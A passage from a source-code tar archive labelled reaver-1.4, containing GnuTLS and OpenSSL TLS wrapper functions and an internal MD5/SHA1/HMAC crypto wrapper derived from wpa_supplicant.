global->session_data_size); if (ret < 0) { wpa_printf(MSG_INFO, "GnuTLS: Failed to set session " "data: %s", gnutls_strerror(ret)); return -1; } } return 0; } #if 0 static int tls_match_altsubject(X509 *cert, const char *match) { GENERAL_NAME *gen; char *field, *tmp; void *ext; int i, found = 0; size_t len; ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { gen = sk_GENERAL_NAME_value(ext, i); switch (gen->type) { case GEN_EMAIL: field = "EMAIL"; break; case GEN_DNS: field = "DNS"; break; case GEN_URI: field = "URI"; break; default: field = NULL; wpa_printf(MSG_DEBUG, "TLS: altSubjectName: " "unsupported type=%d", gen->type); break; } if (!field) continue; wpa_printf(MSG_DEBUG, "TLS: altSubjectName: %s:%s", field, gen->d.ia5->data); len = os_strlen(field) + 1 + strlen((char *) gen->d.ia5->data) + 1; tmp = os_malloc(len); if (tmp == NULL) continue; snprintf(tmp, len, "%s:%s", field, gen->d.ia5->data); if (strstr(tmp, match)) found++; os_free(tmp); } return found; } #endif #if 0 static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) { char buf[256]; X509 *err_cert; int err, depth; SSL *ssl; struct tls_connection *conn; char *match, *altmatch; err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); err = X509_STORE_CTX_get_error(x509_ctx); depth = X509_STORE_CTX_get_error_depth(x509_ctx); ssl = X509_STORE_CTX_get_ex_data(x509_ctx, SSL_get_ex_data_X509_STORE_CTX_idx()); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); conn = SSL_get_app_data(ssl); match = conn ? conn->subject_match : NULL; altmatch = conn ? conn->altsubject_match : NULL; if (!preverify_ok) { wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," " error %d (%s) depth %d for '%s'", err, X509_verify_cert_error_string(err), depth, buf); } else { wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - " "preverify_ok=%d err=%d (%s) depth=%d buf='%s'", preverify_ok, err, X509_verify_cert_error_string(err), depth, buf); if (depth == 0 && match && strstr(buf, match) == NULL) { wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " "match with '%s'", buf, match); preverify_ok = 0; } else if (depth == 0 && altmatch && !tls_match_altsubject(err_cert, altmatch)) { wpa_printf(MSG_WARNING, "TLS: altSubjectName match " "'%s' not found", altmatch); preverify_ok = 0; } } return preverify_ok; } #endif int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { int ret; if (conn == NULL || params == NULL) return -1; os_free(conn->subject_match); conn->subject_match = NULL; if (params->subject_match) { conn->subject_match = os_strdup(params->subject_match); if (conn->subject_match == NULL) return -1; } os_free(conn->altsubject_match); conn->altsubject_match = NULL; if (params->altsubject_match) { conn->altsubject_match = os_strdup(params->altsubject_match); if (conn->altsubject_match == NULL) return -1; } /* TODO: gnutls_certificate_set_verify_flags(xcred, flags); * to force peer validation(?) */ if (params->ca_cert) { conn->verify_peer = 1; ret = gnutls_certificate_set_x509_trust_file( conn->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " "in PEM format: %s", params->ca_cert, gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_trust_file( conn->xcred, params->ca_cert, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert " "'%s' in DER format: %s", params->ca_cert, gnutls_strerror(ret)); return -1; } } if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { gnutls_certificate_set_verify_flags( conn->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); } if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { gnutls_certificate_set_verify_flags( conn->xcred, GNUTLS_VERIFY_DISABLE_TIME_CHECKS); } } if (params->client_cert && params->private_key) { /* TODO: private_key_passwd? */ ret = gnutls_certificate_set_x509_key_file( conn->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client cert/key " "in PEM format: %s", gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_key_file( conn->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client " "cert/key in DER format: %s", gnutls_strerror(ret)); return ret; } } } else if (params->private_key) { int pkcs12_ok = 0; #ifdef PKCS12_FUNCS /* Try to load in PKCS#12 format */ #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 ret = gnutls_certificate_set_x509_simple_pkcs12_file( conn->xcred, params->private_key, GNUTLS_X509_FMT_DER, params->private_key_passwd); if (ret != 0) { wpa_printf(MSG_DEBUG, "Failed to load private_key in " "PKCS#12 format: %s", gnutls_strerror(ret)); return -1; } else pkcs12_ok = 1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* PKCS12_FUNCS */ if (!pkcs12_ok) { wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " "included"); return -1; } } conn->tls_ia = params->tls_ia; conn->params_set = 1; ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, conn->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "Failed to configure credentials: %s", gnutls_strerror(ret)); } #ifdef GNUTLS_IA if (conn->iacred_cli) gnutls_ia_free_client_credentials(conn->iacred_cli); ret = gnutls_ia_allocate_client_credentials(&conn->iacred_cli); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA, conn->iacred_cli); if (ret) { wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s", gnutls_strerror(ret)); gnutls_ia_free_client_credentials(conn->iacred_cli); conn->iacred_cli = NULL; return -1; } #endif /* GNUTLS_IE */ return ret; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { struct tls_global *global = tls_ctx; int ret; /* Currently, global parameters are only set when running in server * mode. */ global->server = 1; if (global->params_set) { gnutls_certificate_free_credentials(global->xcred); global->params_set = 0; } ret = gnutls_certificate_allocate_credentials(&global->xcred); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate global credentials " "%s", gnutls_strerror(ret)); return -1; } if (params->ca_cert) { ret = gnutls_certificate_set_x509_trust_file( global->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " "in PEM format: %s", params->ca_cert, gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_trust_file( global->xcred, params->ca_cert, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert " "'%s' in DER format: %s", params->ca_cert, gnutls_strerror(ret)); goto fail; } } if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { gnutls_certificate_set_verify_flags( global->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); } if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { gnutls_certificate_set_verify_flags( global->xcred, GNUTLS_VERIFY_DISABLE_TIME_CHECKS); } } if (params->client_cert && params->private_key) { /* TODO: private_key_passwd? */ ret = gnutls_certificate_set_x509_key_file( global->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client cert/key " "in PEM format: %s", gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_key_file( global->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client " "cert/key in DER format: %s", gnutls_strerror(ret)); goto fail; } } } else if (params->private_key) { int pkcs12_ok = 0; #ifdef PKCS12_FUNCS /* Try to load in PKCS#12 format */ #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 ret = gnutls_certificate_set_x509_simple_pkcs12_file( global->xcred, params->private_key, GNUTLS_X509_FMT_DER, params->private_key_passwd); if (ret != 0) { wpa_printf(MSG_DEBUG, "Failed to load private_key in " "PKCS#12 format: %s", gnutls_strerror(ret)); goto fail; } else pkcs12_ok = 1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* PKCS12_FUNCS */ if (!pkcs12_ok) { wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " "included"); goto fail; } } global->params_set = 1; return 0; fail: gnutls_certificate_free_credentials(global->xcred); return -1; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { /* TODO */ return 0; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { if (conn == NULL || conn->session == NULL) return -1; conn->verify_peer = verify_peer; gnutls_certificate_server_set_request(conn->session, verify_peer ? GNUTLS_CERT_REQUIRE : GNUTLS_CERT_REQUEST); return 0; } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK security_parameters_st *sec; #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ if (conn == NULL || conn->session == NULL || keys == NULL) return -1; os_memset(keys, 0, sizeof(*keys)); #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK sec = &conn->session->security_parameters; keys->master_key = sec->master_secret; keys->master_key_len = TLS_MASTER_SIZE; keys->client_random = sec->client_random; keys->server_random = sec->server_random; #else /* GNUTLS_INTERNAL_STRUCTURE_HACK */ keys->client_random = (u8 *) gnutls_session_get_client_random(conn->session); keys->server_random = (u8 *) gnutls_session_get_server_random(conn->session); /* No access to master_secret */ #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ #ifdef GNUTLS_IA gnutls_ia_extract_inner_secret(conn->session, (char *) conn->inner_secret); keys->inner_secret = conn->inner_secret; keys->inner_secret_len = TLS_MASTER_SIZE; #endif /* GNUTLS_IA */ keys->client_random_len = TLS_RANDOM_SIZE; keys->server_random_len = TLS_RANDOM_SIZE; return 0; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 if (conn == NULL || conn->session == NULL) return -1; return gnutls_prf(conn->session, os_strlen(label), label, server_random_first, 0, NULL, out_len, (char *) out); #else /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ return -1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ } static int tls_connection_verify_peer(struct tls_connection *conn, gnutls_alert_description_t *err) { unsigned int status, num_certs, i; struct os_time now; const gnutls_datum_t *certs; gnutls_x509_crt_t cert; if (gnutls_certificate_verify_peers2(conn->session, &status) < 0) { wpa_printf(MSG_INFO, "TLS: Failed to verify peer " "certificate chain"); *err = GNUTLS_A_INTERNAL_ERROR; return -1; } if (conn->verify_peer && (status & GNUTLS_CERT_INVALID)) { wpa_printf(MSG_INFO, "TLS: Peer certificate not trusted"); if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { wpa_printf(MSG_INFO, "TLS: Certificate uses insecure " "algorithm"); *err = GNUTLS_A_INSUFFICIENT_SECURITY; } if (status & GNUTLS_CERT_NOT_ACTIVATED) { wpa_printf(MSG_INFO, "TLS: Certificate not yet " "activated"); *err = GNUTLS_A_CERTIFICATE_EXPIRED; } if (status & GNUTLS_CERT_EXPIRED) { wpa_printf(MSG_INFO, "TLS: Certificate expired"); *err = GNUTLS_A_CERTIFICATE_EXPIRED; } return -1; } if (status & GNUTLS_CERT_SIGNER_NOT_FOUND) { wpa_printf(MSG_INFO, "TLS: Peer certificate does not have a " "known issuer"); *err = GNUTLS_A_UNKNOWN_CA; return -1; } if (status & GNUTLS_CERT_REVOKED) { wpa_printf(MSG_INFO, "TLS: Peer certificate has been revoked"); *err = GNUTLS_A_CERTIFICATE_REVOKED; return -1; } os_get_time(&now); certs = gnutls_certificate_get_peers(conn->session, &num_certs); if (certs == NULL) { wpa_printf(MSG_INFO, "TLS: No peer certificate chain " "received"); *err = GNUTLS_A_UNKNOWN_CA; return -1; } for (i = 0; i < num_certs; i++) { char *buf; size_t len; if (gnutls_x509_crt_init(&cert) < 0) { wpa_printf(MSG_INFO, "TLS: Certificate initialization " "failed"); *err = GNUTLS_A_BAD_CERTIFICATE; return -1; } if (gnutls_x509_crt_import(cert, &certs[i], GNUTLS_X509_FMT_DER) < 0) { wpa_printf(MSG_INFO, "TLS: Could not parse peer " "certificate %d/%d", i + 1, num_certs); gnutls_x509_crt_deinit(cert); *err = GNUTLS_A_BAD_CERTIFICATE; return -1; } gnutls_x509_crt_get_dn(cert, NULL, &len); len++; buf = os_malloc(len + 1); if (buf) { buf[0] = buf[len] = '\0'; gnutls_x509_crt_get_dn(cert, buf, &len); } wpa_printf(MSG_DEBUG, "TLS: Peer cert chain %d/%d: %s", i + 1, num_certs, buf); if (i == 0) { /* TODO: validate subject_match and altsubject_match */ } os_free(buf); if (gnutls_x509_crt_get_expiration_time(cert) < now.sec || gnutls_x509_crt_get_activation_time(cert) > now.sec) { wpa_printf(MSG_INFO, "TLS: Peer certificate %d/%d is " "not valid at this time", i + 1, num_certs); gnutls_x509_crt_deinit(cert); *err = GNUTLS_A_CERTIFICATE_EXPIRED; return -1; } gnutls_x509_crt_deinit(cert); } return 0; } static struct wpabuf * gnutls_get_appl_data(struct tls_connection *conn) { int res; struct wpabuf *ad; wpa_printf(MSG_DEBUG, "GnuTLS: Check for possible Application Data"); ad = wpabuf_alloc((wpabuf_len(conn->pull_buf) + 500) * 3); if (ad == NULL) return NULL; res = gnutls_record_recv(conn->session, wpabuf_mhead(ad), wpabuf_size(ad)); wpa_printf(MSG_DEBUG, "GnuTLS: gnutls_record_recv: %d", res); if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(ad); return NULL; } wpabuf_put(ad, res); wpa_printf(MSG_DEBUG, "GnuTLS: Received %d bytes of Application Data", res); return ad; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct tls_global *global = tls_ctx; struct wpabuf *out_data; int ret; if (appl_data) *appl_data = NULL; if (in_data && wpabuf_len(in_data) > 0) { if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) wpabuf_len(conn->pull_buf)); wpabuf_free(conn->pull_buf); } conn->pull_buf = wpabuf_dup(in_data); if (conn->pull_buf == NULL) return NULL; conn->pull_buf_offset = wpabuf_head(conn->pull_buf); } ret = gnutls_handshake(conn->session); if (ret < 0) { switch (ret) { case GNUTLS_E_AGAIN: if (global->server && conn->established && conn->push_buf == NULL) { /* Need to return something to trigger * completion of EAP-TLS. */ conn->push_buf = wpabuf_alloc(0); } break; case GNUTLS_E_FATAL_ALERT_RECEIVED: wpa_printf(MSG_DEBUG, "%s - received fatal '%s' alert", __func__, gnutls_alert_get_name( gnutls_alert_get(conn->session))); conn->read_alerts++; /* continue */ default: wpa_printf(MSG_DEBUG, "%s - gnutls_handshake failed " "-> %s", __func__, gnutls_strerror(ret)); conn->failed++; } } else { size_t size; gnutls_alert_description_t err; if (conn->verify_peer && tls_connection_verify_peer(conn, &err)) { wpa_printf(MSG_INFO, "TLS: Peer certificate chain " "failed validation"); conn->failed++; gnutls_alert_send(conn->session, GNUTLS_AL_FATAL, err); goto out; } #ifdef CONFIG_GNUTLS_EXTRA if (conn->tls_ia && !gnutls_ia_handshake_p(conn->session)) { wpa_printf(MSG_INFO, "TLS: No TLS/IA negotiation"); conn->failed++; return NULL; } #endif /* CONFIG_GNUTLS_EXTRA */ if (conn->tls_ia) wpa_printf(MSG_DEBUG, "TLS: Start TLS/IA handshake"); else { wpa_printf(MSG_DEBUG, "TLS: Handshake completed " "successfully"); } conn->established = 1; if (conn->push_buf == NULL) { /* Need to return something to get final TLS ACK. */ conn->push_buf = wpabuf_alloc(0); } gnutls_session_get_data(conn->session, NULL, &size); if (global->session_data == NULL || global->session_data_size < size) { os_free(global->session_data); global->session_data = os_malloc(size); } if (global->session_data) { global->session_data_size = size; gnutls_session_get_data(conn->session, global->session_data, &global->session_data_size); } if (conn->pull_buf && appl_data) *appl_data = gnutls_get_appl_data(conn); } out: out_data = conn->push_buf; conn->push_buf = NULL; return out_data; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return tls_connection_handshake(tls_ctx, conn, in_data, appl_data); } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { ssize_t res; struct wpabuf *buf; #ifdef GNUTLS_IA if (conn->tls_ia) res = gnutls_ia_send(conn->session, wpabuf_head(in_data), wpabuf_len(in_data)); else #endif /* GNUTLS_IA */ res = gnutls_record_send(conn->session, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { wpa_printf(MSG_INFO, "%s: Encryption failed: %s", __func__, gnutls_strerror(res)); return NULL; } buf = conn->push_buf; conn->push_buf = NULL; return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { ssize_t res; struct wpabuf *out; if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) wpabuf_len(conn->pull_buf)); wpabuf_free(conn->pull_buf); } conn->pull_buf = wpabuf_dup(in_data); if (conn->pull_buf == NULL) return NULL; conn->pull_buf_offset = wpabuf_head(conn->pull_buf); /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (out == NULL) return NULL; #ifdef GNUTLS_IA if (conn->tls_ia) { res = gnutls_ia_recv(conn->session, wpabuf_mhead(out), wpabuf_size(out)); if (res == GNUTLS_E_WARNING_IA_IPHF_RECEIVED || res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED) { int final = res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED; wpa_printf(MSG_DEBUG, "%s: Received %sPhaseFinished", __func__, final ? "Final" : "Intermediate"); res = gnutls_ia_permute_inner_secret( conn->session, conn->session_keys_len, (char *) conn->session_keys); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys = NULL; conn->session_keys_len = 0; if (res) { wpa_printf(MSG_DEBUG, "%s: Failed to permute " "inner secret: %s", __func__, gnutls_strerror(res)); wpabuf_free(out); return NULL; } res = gnutls_ia_verify_endphase(conn->session, wpabuf_head(out)); if (res == 0) { wpa_printf(MSG_DEBUG, "%s: Correct endphase " "checksum", __func__); } else { wpa_printf(MSG_INFO, "%s: Endphase " "verification failed: %s", __func__, gnutls_strerror(res)); wpabuf_free(out); return NULL; } if (final) conn->final_phase_finished = 1; return out; } if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } #endif /* GNUTLS_IA */ res = gnutls_record_recv(conn->session, wpabuf_mhead(out), wpabuf_size(out)); if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_record_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return 0; return gnutls_session_is_resumed(conn->session); } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { /* TODO */ return -1; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { /* TODO */ buf[0] = '\0'; return 0; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { gnutls_record_disable_padding(conn->session); return 0; } int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { /* TODO */ return -1; } int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { /* TODO */ return -1; } unsigned int tls_capabilities(void *tls_ctx) { unsigned int capa = 0; #ifdef GNUTLS_IA capa |= TLS_CAPABILITY_IA; #endif /* GNUTLS_IA */ return capa; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { #ifdef GNUTLS_IA int ret; if (conn == NULL) return -1; conn->tls_ia = tls_ia; if (!tls_ia) return 0; ret = gnutls_ia_allocate_server_credentials(&conn->iacred_srv); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA, conn->iacred_srv); if (ret) { wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s", gnutls_strerror(ret)); gnutls_ia_free_server_credentials(conn->iacred_srv); conn->iacred_srv = NULL; return -1; } return 0; #else /* GNUTLS_IA */ return -1; #endif /* GNUTLS_IA */ } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { #ifdef GNUTLS_IA int ret; struct wpabuf *buf; if (conn == NULL || conn->session == NULL || !conn->tls_ia) return NULL; ret = gnutls_ia_permute_inner_secret(conn->session, conn->session_keys_len, (char *) conn->session_keys); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys = NULL; conn->session_keys_len = 0; if (ret) { wpa_printf(MSG_DEBUG, "%s: Failed to permute inner secret: %s", __func__, gnutls_strerror(ret)); return NULL; } ret = gnutls_ia_endphase_send(conn->session, final); if (ret) { wpa_printf(MSG_DEBUG, "%s: Failed to send endphase: %s", __func__, gnutls_strerror(ret)); return NULL; } buf = conn->push_buf; conn->push_buf = NULL; return buf; #else /* GNUTLS_IA */ return NULL; #endif /* GNUTLS_IA */ } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->final_phase_finished; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { #ifdef GNUTLS_IA if (conn == NULL || !conn->tls_ia) return -1; if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys_len = 0; if (key) { conn->session_keys = os_malloc(key_len); if (conn->session_keys == NULL) return -1; os_memcpy(conn->session_keys, key, key_len); conn->session_keys_len = key_len; } else { conn->session_keys = NULL; conn->session_keys_len = 0; } return 0; #else /* GNUTLS_IA */ return -1; #endif /* GNUTLS_IA */ } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { return -1; } reaver-1.4/src/crypto/crypto_internal.c0000755000175000017500000000774611705505260017705 0ustar reaverreaver/* * Crypto wrapper for internal crypto implementation * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "sha1_i.h" #include "md5_i.h" struct crypto_hash { enum crypto_hash_alg alg; union { struct MD5Context md5; struct SHA1Context sha1; } u; u8 key[64]; size_t key_len; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; u8 k_pad[64]; u8 tk[20]; size_t i; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_HASH_ALG_MD5: MD5Init(&ctx->u.md5); break; case CRYPTO_HASH_ALG_SHA1: SHA1Init(&ctx->u.sha1); break; case CRYPTO_HASH_ALG_HMAC_MD5: if (key_len > sizeof(k_pad)) { MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, key, key_len); MD5Final(tk, &ctx->u.md5); key = tk; key_len = 16; } os_memcpy(ctx->key, key, key_len); ctx->key_len = key_len; os_memcpy(k_pad, key, key_len); os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x36; MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (key_len > sizeof(k_pad)) { SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, key, key_len); SHA1Final(tk, &ctx->u.sha1); key = tk; key_len = 20; } os_memcpy(ctx->key, key, key_len); ctx->key_len = key_len; os_memcpy(k_pad, key, key_len); os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x36; SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); break; default: os_free(ctx); return NULL; } return ctx; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL) return; switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: case CRYPTO_HASH_ALG_HMAC_MD5: MD5Update(&ctx->u.md5, data, len); break; case CRYPTO_HASH_ALG_SHA1: case CRYPTO_HASH_ALG_HMAC_SHA1: SHA1Update(&ctx->u.sha1, data, len); break; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { u8 k_pad[64]; size_t i; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) { os_free(ctx); return 0; } switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; MD5Final(mac, &ctx->u.md5); break; case CRYPTO_HASH_ALG_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; SHA1Final(mac, &ctx->u.sha1); break; case CRYPTO_HASH_ALG_HMAC_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; MD5Final(mac, &ctx->u.md5); os_memcpy(k_pad, ctx->key, ctx->key_len); os_memset(k_pad + ctx->key_len, 0, sizeof(k_pad) - ctx->key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x5c; MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); MD5Update(&ctx->u.md5, mac, 16); MD5Final(mac, &ctx->u.md5); break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; SHA1Final(mac, &ctx->u.sha1); os_memcpy(k_pad, ctx->key, ctx->key_len); os_memset(k_pad + ctx->key_len, 0, sizeof(k_pad) - ctx->key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x5c; SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); SHA1Update(&ctx->u.sha1, mac, 20); SHA1Final(mac, &ctx->u.sha1); break; } os_free(ctx); return 0; } int crypto_global_init(void) { return 0; } void crypto_global_deinit(void) { } reaver-1.4/src/crypto/tls_openssl.c0000755000175000017500000021622411705505260017027 0ustar reaverreaver/* * SSL/TLS interface functions for OpenSSL * Copyright (c) 2004-2010, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #ifndef CONFIG_SMARTCARD #ifndef OPENSSL_NO_ENGINE #define OPENSSL_NO_ENGINE #endif #endif #include #include #include #include #ifndef OPENSSL_NO_ENGINE #include #endif /* OPENSSL_NO_ENGINE */ #include "common.h" #include "crypto.h" #include "tls.h" #if OPENSSL_VERSION_NUMBER >= 0x0090800fL #define OPENSSL_d2i_TYPE const unsigned char ** #else #define OPENSSL_d2i_TYPE unsigned char ** #endif #ifdef SSL_F_SSL_SET_SESSION_TICKET_EXT #ifdef SSL_OP_NO_TICKET /* * Session ticket override patch was merged into OpenSSL 0.9.9 tree on * 2008-11-15. This version uses a bit different API compared to the old patch. */ #define CONFIG_OPENSSL_TICKET_OVERRIDE #endif #endif static int tls_openssl_ref_count = 0; struct tls_global { void (*event_cb)(void *ctx, enum tls_event ev, union tls_event_data *data); void *cb_ctx; }; static struct tls_global *tls_global = NULL; struct tls_connection { SSL *ssl; BIO *ssl_in, *ssl_out; #ifndef OPENSSL_NO_ENGINE ENGINE *engine; /* functional reference to the engine */ EVP_PKEY *private_key; /* the private key if using engine */ #endif /* OPENSSL_NO_ENGINE */ char *subject_match, *altsubject_match; int read_alerts, write_alerts, failed; tls_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; /* SessionTicket received from OpenSSL hello_extension_cb (server) */ u8 *session_ticket; size_t session_ticket_len; unsigned int ca_cert_verify:1; unsigned int cert_probe:1; unsigned int server_cert_only:1; u8 srv_cert_hash[32]; }; #ifdef CONFIG_NO_STDOUT_DEBUG static void _tls_show_errors(void) { unsigned long err; while ((err = ERR_get_error())) { /* Just ignore the errors, since stdout is disabled */ } } #define tls_show_errors(l, f, t) 